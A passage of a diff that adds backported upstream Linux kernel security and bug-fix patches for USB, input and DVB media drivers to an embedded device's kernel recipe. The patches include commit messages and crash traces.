/dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0328-6cd23a0e51dd-media dvbusbv2 lmedm04 move ts2020 attach to dm04lme2510tuner.patch @@ -0,0 +1,74 @@ +From 6cd23a0e51dd2580bfdbb005ad1edeeaf9192d00 Mon Sep 17 00:00:00 2001 +From: Malcolm Priestley +Date: Tue, 26 Sep 2017 17:10:21 -0400 +Subject: media: dvb-usb-v2: lmedm04: move ts2020 attach to dm04_lme2510_tuner + +commit 7bf7a7116ed313c601307f7e585419369926ab05 upstream. + +When the tuner was split from m88rs2000 the attach function is in wrong +place. + +Move to dm04_lme2510_tuner to trap errors on failure and removing +a call to lme_coldreset. + +Prevents driver starting up without any tuner connected. + +Fixes to trap for ts2020 fail. +LME2510(C): FE Found M88RS2000 +ts2020: probe of 0-0060 failed with error -11 +... +LME2510(C): TUN Found RS2000 tuner +kasan: CONFIG_KASAN_INLINE enabled +kasan: GPF could be caused by NULL-ptr deref or user memory access +general protection fault: 0000 [#1] PREEMPT SMP KASAN + +Reported-by: Andrey Konovalov +Signed-off-by: Malcolm Priestley +Tested-by: Andrey Konovalov +Signed-off-by: Mauro Carvalho Chehab +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + drivers/media/usb/dvb-usb-v2/lmedm04.c | 13 ++++++------- + 1 file changed, 6 insertions(+), 7 deletions(-) + +diff --git a/drivers/media/usb/dvb-usb-v2/lmedm04.c b/drivers/media/usb/dvb-usb-v2/lmedm04.c +index ceaffcf8ae5e..f17e2cb4acb6 100644 +--- a/drivers/media/usb/dvb-usb-v2/lmedm04.c ++++ b/drivers/media/usb/dvb-usb-v2/lmedm04.c +@@ -1118,8 +1118,6 @@ static int dm04_lme2510_frontend_attach(struct dvb_usb_adapter *adap) + + if (adap->fe[0]) { + info("FE Found M88RS2000"); +- dvb_attach(ts2020_attach, adap->fe[0], &ts2020_config, +- &d->i2c_adap); + st->i2c_tuner_gate_w = 5; + st->i2c_tuner_gate_r = 5; + st->i2c_tuner_addr = 0x60; +@@ -1182,17 +1180,18 @@ static int dm04_lme2510_tuner(struct dvb_usb_adapter *adap) + ret = st->tuner_config; + break; + case TUNER_RS2000: +- ret = st->tuner_config; ++ if (dvb_attach(ts2020_attach, adap->fe[0], ++ &ts2020_config, &d->i2c_adap)) ++ ret = st->tuner_config; + break; + default: + break; + } + +- if (ret) ++ if (ret) { + info("TUN Found %s tuner", tun_msg[ret]); +- else { +- info("TUN No tuner found --- resetting device"); +- lme_coldreset(d); ++ } else { ++ info("TUN No tuner found"); + return -ENODEV; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0329-a50829479f58-Input gtco fix potential outofbound access.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0329-a50829479f58-Input gtco fix potential outofbound access.patch new file mode 100644 index 0000000..45f7ca7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0329-a50829479f58-Input gtco fix potential outofbound access.patch @@ -0,0 +1,57 @@ +From a50829479f58416a013a4ccca791336af3c584c7 Mon Sep 17 00:00:00 2001 +From: Dmitry Torokhov +Date: Mon, 23 Oct 2017 16:46:00 -0700 +Subject: Input: gtco - fix potential out-of-bound access + +parse_hid_report_descriptor() has a while (i < length) loop, which +only guarantees that there's at least 1 byte in the buffer, but the +loop body can read multiple bytes which causes out-of-bounds access. + +Reported-by: Andrey Konovalov +Reviewed-by: Andrey Konovalov +Cc: stable@vger.kernel.org +Signed-off-by: Dmitry Torokhov +--- + drivers/input/tablet/gtco.c | 17 ++++++++++------- + 1 file changed, 10 insertions(+), 7 deletions(-) + +diff --git a/drivers/input/tablet/gtco.c b/drivers/input/tablet/gtco.c +index b796e891e2eed..4b8b9d7aa75e2 100644 +--- a/drivers/input/tablet/gtco.c ++++ b/drivers/input/tablet/gtco.c +@@ -230,13 +230,17 @@ static void parse_hid_report_descriptor(struct gtco *device, char * report, + + /* Walk this report and pull out the info we need */ + while (i < length) { +- prefix = report[i]; +- +- /* Skip over prefix */ +- i++; ++ prefix = report[i++]; + + /* Determine data size and save the data in the proper variable */ +- size = PREF_SIZE(prefix); ++ size = (1U << PREF_SIZE(prefix)) >> 1; ++ if (i + size > length) { ++ dev_err(ddev, ++ "Not enough data (need %d, have %d)\n", ++ i + size, length); ++ break; ++ } ++ + switch (size) { + case 1: + data = report[i]; +@@ -244,8 +248,7 @@ static void parse_hid_report_descriptor(struct gtco *device, char * report, + case 2: + data16 = get_unaligned_le16(&report[i]); + break; +- case 3: +- size = 4; ++ case 4: + data32 = get_unaligned_le32(&report[i]); + break; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0330.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0330.diff new file mode 100644 index 0000000..d3ee269 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0330.diff @@ -0,0 +1,93 @@ +diff --git a/drivers/media/usb/hdpvr/hdpvr-core.c b/drivers/media/usb/hdpvr/hdpvr-core.c +index 3e35717..0ae6e2c 100644 +--- a/drivers/media/usb/hdpvr/hdpvr-core.c ++++ b/drivers/media/usb/hdpvr/hdpvr-core.c +@@ -301,7 +301,7 @@ + /* register v4l2_device early so it can be used for printks */ + if (v4l2_device_register(&interface->dev, &dev->v4l2_dev)) { + dev_err(&interface->dev, "v4l2_device_register failed\n"); +- goto error; ++ goto error_free_dev; + } + + mutex_init(&dev->io_mutex); +@@ -310,7 +310,7 @@ + dev->usbc_buf = kmalloc(64, GFP_KERNEL); + if (!dev->usbc_buf) { + v4l2_err(&dev->v4l2_dev, "Out of memory\n"); +- goto error; ++ goto error_v4l2_unregister; + } + + init_waitqueue_head(&dev->wait_buffer); +@@ -318,7 +318,7 @@ + + dev->workqueue = create_singlethread_workqueue("hdpvr_buffer"); + if (!dev->workqueue) +- goto error; ++ goto err_free_usbc; + + dev->options = hdpvr_default_options; + +@@ -352,13 +352,13 @@ + } + if (!dev->bulk_in_endpointAddr) { + v4l2_err(&dev->v4l2_dev, "Could not find bulk-in endpoint\n"); +- goto error; ++ goto error_put_usb; + } + + /* init the device */ + if (hdpvr_device_init(dev)) { + v4l2_err(&dev->v4l2_dev, "device init failed\n"); +- goto error; ++ goto error_put_usb; + } + + mutex_lock(&dev->io_mutex); +@@ -366,7 +366,7 @@ + mutex_unlock(&dev->io_mutex); + v4l2_err(&dev->v4l2_dev, + "allocating transfer buffers failed\n"); +- goto error; ++ goto error_put_usb; + } + mutex_unlock(&dev->io_mutex); + +@@ -374,7 +374,7 @@ + retval = hdpvr_register_i2c_adapter(dev); + if (retval < 0) { + v4l2_err(&dev->v4l2_dev, "i2c adapter register failed\n"); +- goto error; ++ goto error_free_buffers; + } + + client = hdpvr_register_ir_rx_i2c(dev); +@@ -416,15 +416,20 @@ + reg_fail: + #if IS_ENABLED(CONFIG_I2C) + i2c_del_adapter(&dev->i2c_adapter); ++error_free_buffers: + #endif ++ hdpvr_free_buffers(dev); ++error_put_usb: ++ usb_put_dev(dev->udev); ++ /* Destroy single thread */ ++ destroy_workqueue(dev->workqueue); ++err_free_usbc: ++ kfree(dev->usbc_buf); ++error_v4l2_unregister: ++ v4l2_device_unregister(&dev->v4l2_dev); ++error_free_dev: ++ kfree(dev); + error: +- if (dev) { +- /* Destroy single thread */ +- if (dev->workqueue) +- destroy_workqueue(dev->workqueue); +- /* this frees allocated memory */ +- hdpvr_delete(dev); +- } + return retval; + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0331-c0f26c8f0562-Input imspsu check if CDC union descriptor is sane.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0331-c0f26c8f0562-Input imspsu check if CDC union descriptor is sane.patch new file mode 100644 index 0000000..428b0b0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0331-c0f26c8f0562-Input imspsu check if CDC union descriptor is sane.patch @@ -0,0 +1,54 @@ +From c0f26c8f0562869e43e5001bed22817e6019d456 Mon Sep 17 00:00:00 2001 +From: Dmitry Torokhov +Date: Sat, 7 Oct 2017 11:07:47 -0700 +Subject: Input: ims-psu - check if CDC union descriptor is sane + +commit ea04efee7635c9120d015dcdeeeb6988130cb67a upstream. + +Before trying to use CDC union descriptor, try to validate whether that it +is sane by checking that intf->altsetting->extra is big enough and that +descriptor bLength is not too big and not too small. + +Reported-by: Andrey Konovalov +Signed-off-by: Dmitry Torokhov +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + drivers/input/misc/ims-pcu.c | 16 ++++++++++++++-- + 1 file changed, 14 insertions(+), 2 deletions(-) + +diff --git a/drivers/input/misc/ims-pcu.c b/drivers/input/misc/ims-pcu.c +index 25bd4d701722..063898d429c7 100644 +--- a/drivers/input/misc/ims-pcu.c ++++ b/drivers/input/misc/ims-pcu.c +@@ -1635,13 +1635,25 @@ ims_pcu_get_cdc_union_desc(struct usb_interface *intf) + return NULL; + } + +- while (buflen > 0) { ++ while (buflen >= sizeof(*union_desc)) { + union_desc = (struct usb_cdc_union_desc *)buf; + ++ if (union_desc->bLength > buflen) { ++ dev_err(&intf->dev, "Too large descriptor\n"); ++ return NULL; ++ } ++ + if (union_desc->bDescriptorType == USB_DT_CS_INTERFACE && + union_desc->bDescriptorSubType == USB_CDC_UNION_TYPE) { + dev_dbg(&intf->dev, "Found union header\n"); +- return union_desc; ++ ++ if (union_desc->bLength >= sizeof(*union_desc)) ++ return union_desc; ++ ++ dev_err(&intf->dev, ++ "Union descriptor to short (%d vs %zd\n)", ++ union_desc->bLength, sizeof(*union_desc)); ++ return NULL; + } + + buflen -= union_desc->bLength; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0332-49fc34138b88-media dib0700 fix invalid dvbdetach argument.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0332-49fc34138b88-media dib0700 fix invalid dvbdetach argument.patch new file mode 100644 index 0000000..61641dc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0332-49fc34138b88-media dib0700 fix invalid dvbdetach argument.patch @@ -0,0 +1,198 @@ +From 49fc34138b882bb1c6f2ba20df5339bca8a9167e Mon Sep 17 00:00:00 2001 +From: Andrey Konovalov +Date: Thu, 2 Nov 2017 10:38:21 -0400 +Subject: media: dib0700: fix invalid dvb_detach argument + +commit eb0c19942288569e0ae492476534d5a485fb8ab4 upstream. + +dvb_detach(arg) calls symbol_put_addr(arg), where arg should be a pointer +to a function. Right now a pointer to state->dib7000p_ops is passed to +dvb_detach(), which causes a BUG() in symbol_put_addr() as discovered by +syzkaller. Pass state->dib7000p_ops.set_wbd_ref instead. + +------------[ cut here ]------------ +kernel BUG at kernel/module.c:1081! +invalid opcode: 0000 [#1] PREEMPT SMP KASAN +Modules linked in: +CPU: 1 PID: 1151 Comm: kworker/1:1 Tainted: G W +4.14.0-rc1-42251-gebb2c2437d80 #224 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 +Workqueue: usb_hub_wq hub_event +task: ffff88006a336300 task.stack: ffff88006a7c8000 +RIP: 0010:symbol_put_addr+0x54/0x60 kernel/module.c:1083 +RSP: 0018:ffff88006a7ce210 EFLAGS: 00010246 +RAX: 0000000000000000 RBX: ffff880062a8d190 RCX: 0000000000000000 +RDX: dffffc0000000020 RSI: ffffffff85876d60 RDI: ffff880062a8d190 +RBP: ffff88006a7ce218 R08: 1ffff1000d4f9c12 R09: 1ffff1000d4f9ae4 +R10: 1ffff1000d4f9bed R11: 0000000000000000 R12: ffff880062a8d180 +R13: 00000000ffffffed R14: ffff880062a8d190 R15: ffff88006947c000 +FS: 0000000000000000(0000) GS:ffff88006c900000(0000) knlGS:0000000000000000 +CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +CR2: 00007f6416532000 CR3: 00000000632f5000 CR4: 00000000000006e0 +Call Trace: + stk7070p_frontend_attach+0x515/0x610 +drivers/media/usb/dvb-usb/dib0700_devices.c:1013 + dvb_usb_adapter_frontend_init+0x32b/0x660 +drivers/media/usb/dvb-usb/dvb-usb-dvb.c:286 + dvb_usb_adapter_init drivers/media/usb/dvb-usb/dvb-usb-init.c:86 + dvb_usb_init drivers/media/usb/dvb-usb/dvb-usb-init.c:162 + dvb_usb_device_init+0xf70/0x17f0 drivers/media/usb/dvb-usb/dvb-usb-init.c:277 + dib0700_probe+0x171/0x5a0 drivers/media/usb/dvb-usb/dib0700_core.c:886 + usb_probe_interface+0x35d/0x8e0 drivers/usb/core/driver.c:361 + really_probe drivers/base/dd.c:413 + driver_probe_device+0x610/0xa00 drivers/base/dd.c:557 + __device_attach_driver+0x230/0x290 drivers/base/dd.c:653 + bus_for_each_drv+0x161/0x210 drivers/base/bus.c:463 + __device_attach+0x26e/0x3d0 drivers/base/dd.c:710 + device_initial_probe+0x1f/0x30 drivers/base/dd.c:757 + bus_probe_device+0x1eb/0x290 drivers/base/bus.c:523 + device_add+0xd0b/0x1660 drivers/base/core.c:1835 + usb_set_configuration+0x104e/0x1870 drivers/usb/core/message.c:1932 + generic_probe+0x73/0xe0 drivers/usb/core/generic.c:174 + usb_probe_device+0xaf/0xe0 drivers/usb/core/driver.c:266 + really_probe drivers/base/dd.c:413 + driver_probe_device+0x610/0xa00 drivers/base/dd.c:557 + __device_attach_driver+0x230/0x290 drivers/base/dd.c:653 + bus_for_each_drv+0x161/0x210 drivers/base/bus.c:463 + __device_attach+0x26e/0x3d0 drivers/base/dd.c:710 + device_initial_probe+0x1f/0x30 drivers/base/dd.c:757 + bus_probe_device+0x1eb/0x290 drivers/base/bus.c:523 + device_add+0xd0b/0x1660 drivers/base/core.c:1835 + usb_new_device+0x7b8/0x1020 drivers/usb/core/hub.c:2457 + hub_port_connect drivers/usb/core/hub.c:4903 + hub_port_connect_change drivers/usb/core/hub.c:5009 + port_event drivers/usb/core/hub.c:5115 + hub_event+0x194d/0x3740 drivers/usb/core/hub.c:5195 + process_one_work+0xc7f/0x1db0 kernel/workqueue.c:2119 + worker_thread+0x221/0x1850 kernel/workqueue.c:2253 + kthread+0x3a1/0x470 kernel/kthread.c:231 + ret_from_fork+0x2a/0x40 arch/x86/entry/entry_64.S:431 +Code: ff ff 48 85 c0 74 24 48 89 c7 e8 48 ea ff ff bf 01 00 00 00 e8 +de 20 e3 ff 65 8b 05 b7 2f c2 7e 85 c0 75 c9 e8 f9 0b c1 ff eb c2 <0f> +0b 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 b8 00 00 +RIP: symbol_put_addr+0x54/0x60 RSP: ffff88006a7ce210 +---[ end trace b75b357739e7e116 ]--- + +Signed-off-by: Andrey Konovalov +Cc: Ben Hutchings +Signed-off-by: Mauro Carvalho Chehab +Signed-off-by: Greg Kroah-Hartman +--- + drivers/media/usb/dvb-usb/dib0700_devices.c | 24 ++++++++++++------------ + 1 file changed, 12 insertions(+), 12 deletions(-) + +diff --git a/drivers/media/usb/dvb-usb/dib0700_devices.c b/drivers/media/usb/dvb-usb/dib0700_devices.c +index 6aa4e9f4e441..2e50c37c94e0 100644 +--- a/drivers/media/usb/dvb-usb/dib0700_devices.c ++++ b/drivers/media/usb/dvb-usb/dib0700_devices.c +@@ -292,7 +292,7 @@ static int stk7700P2_frontend_attach(struct dvb_usb_adapter *adap) + stk7700d_dib7000p_mt2266_config) + != 0) { + err("%s: state->dib7000p_ops.i2c_enumeration failed. Cannot continue\n", __func__); +- dvb_detach(&state->dib7000p_ops); ++ dvb_detach(state->dib7000p_ops.set_wbd_ref); + return -ENODEV; + } + } +@@ -326,7 +326,7 @@ static int stk7700d_frontend_attach(struct dvb_usb_adapter *adap) + stk7700d_dib7000p_mt2266_config) + != 0) { + err("%s: state->dib7000p_ops.i2c_enumeration failed. Cannot continue\n", __func__); +- dvb_detach(&state->dib7000p_ops); ++ dvb_detach(state->dib7000p_ops.set_wbd_ref); + return -ENODEV; + } + } +@@ -479,7 +479,7 @@ static int stk7700ph_frontend_attach(struct dvb_usb_adapter *adap) + &stk7700ph_dib7700_xc3028_config) != 0) { + err("%s: state->dib7000p_ops.i2c_enumeration failed. Cannot continue\n", + __func__); +- dvb_detach(&state->dib7000p_ops); ++ dvb_detach(state->dib7000p_ops.set_wbd_ref); + return -ENODEV; + } + +@@ -1013,7 +1013,7 @@ static int stk7070p_frontend_attach(struct dvb_usb_adapter *adap) + &dib7070p_dib7000p_config) != 0) { + err("%s: state->dib7000p_ops.i2c_enumeration failed. Cannot continue\n", + __func__); +- dvb_detach(&state->dib7000p_ops); ++ dvb_detach(state->dib7000p_ops.set_wbd_ref); + return -ENODEV; + } + +@@ -1071,7 +1071,7 @@ static int stk7770p_frontend_attach(struct dvb_usb_adapter *adap) + &dib7770p_dib7000p_config) != 0) { + err("%s: state->dib7000p_ops.i2c_enumeration failed. Cannot continue\n", + __func__); +- dvb_detach(&state->dib7000p_ops); ++ dvb_detach(state->dib7000p_ops.set_wbd_ref); + return -ENODEV; + } + +@@ -3039,7 +3039,7 @@ static int nim7090_frontend_attach(struct dvb_usb_adapter *adap) + + if (state->dib7000p_ops.i2c_enumeration(&adap->dev->i2c_adap, 1, 0x10, &nim7090_dib7000p_config) != 0) { + err("%s: state->dib7000p_ops.i2c_enumeration failed. Cannot continue\n", __func__); +- dvb_detach(&state->dib7000p_ops); ++ dvb_detach(state->dib7000p_ops.set_wbd_ref); + return -ENODEV; + } + adap->fe_adap[0].fe = state->dib7000p_ops.init(&adap->dev->i2c_adap, 0x80, &nim7090_dib7000p_config); +@@ -3092,7 +3092,7 @@ static int tfe7090pvr_frontend0_attach(struct dvb_usb_adapter *adap) + /* initialize IC 0 */ + if (state->dib7000p_ops.i2c_enumeration(&adap->dev->i2c_adap, 1, 0x20, &tfe7090pvr_dib7000p_config[0]) != 0) { + err("%s: state->dib7000p_ops.i2c_enumeration failed. Cannot continue\n", __func__); +- dvb_detach(&state->dib7000p_ops); ++ dvb_detach(state->dib7000p_ops.set_wbd_ref); + return -ENODEV; + } + +@@ -3122,7 +3122,7 @@ static int tfe7090pvr_frontend1_attach(struct dvb_usb_adapter *adap) + i2c = state->dib7000p_ops.get_i2c_master(adap->dev->adapter[0].fe_adap[0].fe, DIBX000_I2C_INTERFACE_GPIO_6_7, 1); + if (state->dib7000p_ops.i2c_enumeration(i2c, 1, 0x10, &tfe7090pvr_dib7000p_config[1]) != 0) { + err("%s: state->dib7000p_ops.i2c_enumeration failed. Cannot continue\n", __func__); +- dvb_detach(&state->dib7000p_ops); ++ dvb_detach(state->dib7000p_ops.set_wbd_ref); + return -ENODEV; + } + +@@ -3197,7 +3197,7 @@ static int tfe7790p_frontend_attach(struct dvb_usb_adapter *adap) + 1, 0x10, &tfe7790p_dib7000p_config) != 0) { + err("%s: state->dib7000p_ops.i2c_enumeration failed. Cannot continue\n", + __func__); +- dvb_detach(&state->dib7000p_ops); ++ dvb_detach(state->dib7000p_ops.set_wbd_ref); + return -ENODEV; + } + adap->fe_adap[0].fe = state->dib7000p_ops.init(&adap->dev->i2c_adap, +@@ -3292,7 +3292,7 @@ static int stk7070pd_frontend_attach0(struct dvb_usb_adapter *adap) + stk7070pd_dib7000p_config) != 0) { + err("%s: state->dib7000p_ops.i2c_enumeration failed. Cannot continue\n", + __func__); +- dvb_detach(&state->dib7000p_ops); ++ dvb_detach(state->dib7000p_ops.set_wbd_ref); + return -ENODEV; + } + +@@ -3367,7 +3367,7 @@ static int novatd_frontend_attach(struct dvb_usb_adapter *adap) + stk7070pd_dib7000p_config) != 0) { + err("%s: state->dib7000p_ops.i2c_enumeration failed. Cannot continue\n", + __func__); +- dvb_detach(&state->dib7000p_ops); ++ dvb_detach(state->dib7000p_ops.set_wbd_ref); + return -ENODEV; + } + } +@@ -3603,7 +3603,7 @@ static int pctv340e_frontend_attach(struct dvb_usb_adapter *adap) + + if (state->dib7000p_ops.dib7000pc_detection(&adap->dev->i2c_adap) == 0) { + /* Demodulator not found for some reason? */ +- dvb_detach(&state->dib7000p_ops); ++ dvb_detach(state->dib7000p_ops.set_wbd_ref); + return -ENODEV; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0333.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0333.diff new file mode 100644 index 0000000..9f97615 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0333.diff @@ -0,0 +1,13 @@ +diff --git a/drivers/net/usb/qmi_wwan.c b/drivers/net/usb/qmi_wwan.c +index c7a5567..1ce0ea7 100644 +--- a/drivers/net/usb/qmi_wwan.c ++++ b/drivers/net/usb/qmi_wwan.c +@@ -438,7 +438,7 @@ + } + + /* errors aren't fatal - we can live with the dynamic address */ +- if (cdc_ether) { ++ if (cdc_ether && cdc_ether->wMaxSegmentSize) { + dev->hard_mtu = le16_to_cpu(cdc_ether->wMaxSegmentSize); + usbnet_get_ethernet_addr(dev, cdc_ether->iMACAddress); + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0334-67ad0235bacc-usbip prevent vhcihcd driver from leaking a socket pointer address.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0334-67ad0235bacc-usbip prevent vhcihcd driver from leaking a socket pointer address.patch new file mode 100644 index 0000000..8881df9 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0334-67ad0235bacc-usbip prevent vhcihcd driver from leaking a socket pointer address.patch @@ -0,0 +1,129 @@ +From 67ad0235bacc1af72dad6eac6c5ac1a072b905f7 Mon Sep 17 00:00:00 2001 +From: Shuah Khan +Date: Thu, 7 Dec 2017 14:16:49 -0700 +Subject: usbip: prevent vhci_hcd driver from leaking a socket pointer address + +commit 2f2d0088eb93db5c649d2a5e34a3800a8a935fc5 upstream. + +When a client has a USB device attached over IP, the vhci_hcd driver is +locally leaking a socket pointer address via the + +/sys/devices/platform/vhci_hcd/status file (world-readable) and in debug +output when "usbip --debug port" is run. + +Fix it to not leak. The socket pointer address is not used at the moment +and it was made visible as a convenient way to find IP address from socket +pointer address by looking up /proc/net/{tcp,tcp6}. + +As this opens a security hole, the fix replaces socket pointer address with +sockfd. + +Reported-by: Secunia Research +Signed-off-by: Shuah Khan +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/usbip/usbip_common.h | 1 + + drivers/usb/usbip/vhci_sysfs.c | 26 +++++++++++++++----------- + tools/usb/usbip/libsrc/vhci_driver.c | 8 ++++---- + 3 files changed, 20 insertions(+), 15 deletions(-) + +diff --git a/drivers/usb/usbip/usbip_common.h b/drivers/usb/usbip/usbip_common.h +index 86b08475c254..f875ccaa55f9 100644 +--- a/drivers/usb/usbip/usbip_common.h ++++ b/drivers/usb/usbip/usbip_common.h +@@ -261,6 +261,7 @@ struct usbip_device { + /* lock for status */ + spinlock_t lock; + ++ int sockfd; + struct socket *tcp_socket; + + struct task_struct *tcp_rx; +diff --git a/drivers/usb/usbip/vhci_sysfs.c b/drivers/usb/usbip/vhci_sysfs.c +index 211f43f67ea2..f05f1e0a2baf 100644 +--- a/drivers/usb/usbip/vhci_sysfs.c ++++ b/drivers/usb/usbip/vhci_sysfs.c +@@ -39,16 +39,20 @@ static ssize_t status_show(struct device *dev, struct device_attribute *attr, + + /* + * output example: +- * prt sta spd dev socket local_busid +- * 000 004 000 000 c5a7bb80 1-2.3 +- * 001 004 000 000 d8cee980 2-3.4 ++ * prt sta spd dev sockfd local_busid ++ * 0000 004 000 00000000 000003 1-2.3 ++ * 0001 004 000 00000000 000004 2-3.4 + * +- * IP address can be retrieved from a socket pointer address by looking +- * up /proc/net/{tcp,tcp6}. Also, a userland program may remember a +- * port number and its peer IP address. ++ * Output includes socket fd instead of socket pointer address to ++ * avoid leaking kernel memory address in: ++ * /sys/devices/platform/vhci_hcd.0/status and in debug output. ++ * The socket pointer address is not used at the moment and it was ++ * made visible as a convenient way to find IP address from socket ++ * pointer address by looking up /proc/net/{tcp,tcp6}. As this opens ++ * a security hole, the change is made to use sockfd instead. + */ + out += sprintf(out, +- "prt sta spd bus dev socket local_busid\n"); ++ "prt sta spd dev sockfd local_busid\n"); + + for (i = 0; i < VHCI_NPORTS; i++) { + struct vhci_device *vdev = port_to_vdev(i); +@@ -59,12 +63,11 @@ static ssize_t status_show(struct device *dev, struct device_attribute *attr, + if (vdev->ud.status == VDEV_ST_USED) { + out += sprintf(out, "%03u %08x ", + vdev->speed, vdev->devid); +- out += sprintf(out, "%16p ", vdev->ud.tcp_socket); ++ out += sprintf(out, "%06u ", vdev->ud.sockfd); + out += sprintf(out, "%s", dev_name(&vdev->udev->dev)); + +- } else { +- out += sprintf(out, "000 000 000 0000000000000000 0-0"); +- } ++ } else ++ out += sprintf(out, "000 00000000 000000 0-0"); + + out += sprintf(out, "\n"); + spin_unlock(&vdev->ud.lock); +@@ -223,6 +226,7 @@ static ssize_t store_attach(struct device *dev, struct device_attribute *attr, + + vdev->devid = devid; + vdev->speed = speed; ++ vdev->ud.sockfd = sockfd; + vdev->ud.tcp_socket = socket; + vdev->ud.status = VDEV_ST_NOTASSIGNED; + +diff --git a/tools/usb/usbip/libsrc/vhci_driver.c b/tools/usb/usbip/libsrc/vhci_driver.c +index ad9204773533..1274f326242c 100644 +--- a/tools/usb/usbip/libsrc/vhci_driver.c ++++ b/tools/usb/usbip/libsrc/vhci_driver.c +@@ -55,12 +55,12 @@ static int parse_status(const char *value) + + while (*c != '\0') { + int port, status, speed, devid; +- unsigned long socket; ++ int sockfd; + char lbusid[SYSFS_BUS_ID_SIZE]; + +- ret = sscanf(c, "%d %d %d %x %lx %31s\n", ++ ret = sscanf(c, "%d %d %d %x %u %31s\n", + &port, &status, &speed, +- &devid, &socket, lbusid); ++ &devid, &sockfd, lbusid); + + if (ret < 5) { + dbg("sscanf failed: %d", ret); +@@ -69,7 +69,7 @@ static int parse_status(const char *value) + + dbg("port %d status %d speed %d devid %x", + port, status, speed, devid); +- dbg("socket %lx lbusid %s", socket, lbusid); ++ dbg("sockfd %u lbusid %s", sockfd, lbusid); + + + /* if a device is connected, look at it */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0335-385e124b45fe-usbip fix stubrx getpipe to validate endpoint number.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0335-385e124b45fe-usbip fix stubrx getpipe to validate endpoint number.patch new file mode 100644 index 0000000..067de7b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0335-385e124b45fe-usbip fix stubrx getpipe to validate endpoint number.patch @@ -0,0 +1,72 @@ +From 385e124b45fe46960de2fd280fc5a99d3e7706dc Mon Sep 17 00:00:00 2001 +From: Shuah Khan +Date: Thu, 7 Dec 2017 14:16:47 -0700 +Subject: usbip: fix stub_rx: get_pipe() to validate endpoint number + +commit 635f545a7e8be7596b9b2b6a43cab6bbd5a88e43 upstream. + +get_pipe() routine doesn't validate the input endpoint number +and uses to reference ep_in and ep_out arrays. Invalid endpoint +number can trigger BUG(). Range check the epnum and returning +error instead of calling BUG(). + +Change caller stub_recv_cmd_submit() to handle the get_pipe() +error return. + +Reported-by: Secunia Research +Signed-off-by: Shuah Khan +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/usbip/stub_rx.c | 16 ++++++++++------ + 1 file changed, 10 insertions(+), 6 deletions(-) + +diff --git a/drivers/usb/usbip/stub_rx.c b/drivers/usb/usbip/stub_rx.c +index 00e475c51a12..2e07acda456e 100644 +--- a/drivers/usb/usbip/stub_rx.c ++++ b/drivers/usb/usbip/stub_rx.c +@@ -347,15 +347,15 @@ static int get_pipe(struct stub_device *sdev, int epnum, int dir) + struct usb_host_endpoint *ep; + struct usb_endpoint_descriptor *epd = NULL; + ++ if (epnum < 0 || epnum > 15) ++ goto err_ret; ++ + if (dir == USBIP_DIR_IN) + ep = udev->ep_in[epnum & 0x7f]; + else + ep = udev->ep_out[epnum & 0x7f]; +- if (!ep) { +- dev_err(&sdev->interface->dev, "no such endpoint?, %d\n", +- epnum); +- BUG(); +- } ++ if (!ep) ++ goto err_ret; + + epd = &ep->desc; + if (usb_endpoint_xfer_control(epd)) { +@@ -386,9 +386,10 @@ static int get_pipe(struct stub_device *sdev, int epnum, int dir) + return usb_rcvisocpipe(udev, epnum); + } + ++err_ret: + /* NOT REACHED */ + dev_err(&sdev->interface->dev, "get pipe, epnum %d\n", epnum); +- return 0; ++ return -1; + } + + static void masking_bogus_flags(struct urb *urb) +@@ -454,6 +455,9 @@ static void stub_recv_cmd_submit(struct stub_device *sdev, + struct usb_device *udev = sdev->udev; + int pipe = get_pipe(sdev, pdu->base.ep, pdu->base.direction); + ++ if (pipe == -1) ++ return; ++ + priv = stub_priv_alloc(sdev, pdu); + if (!priv) + return; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0336-eebf31529012-usbip fix stubrx harden CMDSUBMIT path to handle malicious input.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0336-eebf31529012-usbip fix stubrx harden CMDSUBMIT path to handle malicious input.patch new file mode 100644 index 0000000..854f394 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0336-eebf31529012-usbip fix stubrx harden CMDSUBMIT path to handle malicious input.patch @@ -0,0 +1,96 @@ +From eebf31529012289ec20fea84e4e6fd188176be13 Mon Sep 17 00:00:00 2001 +From: Shuah Khan +Date: Thu, 7 Dec 2017 14:16:48 -0700 +Subject: usbip: fix stub_rx: harden CMD_SUBMIT path to handle malicious input + +commit c6688ef9f29762e65bce325ef4acd6c675806366 upstream. + +Harden CMD_SUBMIT path to handle malicious input that could trigger +large memory 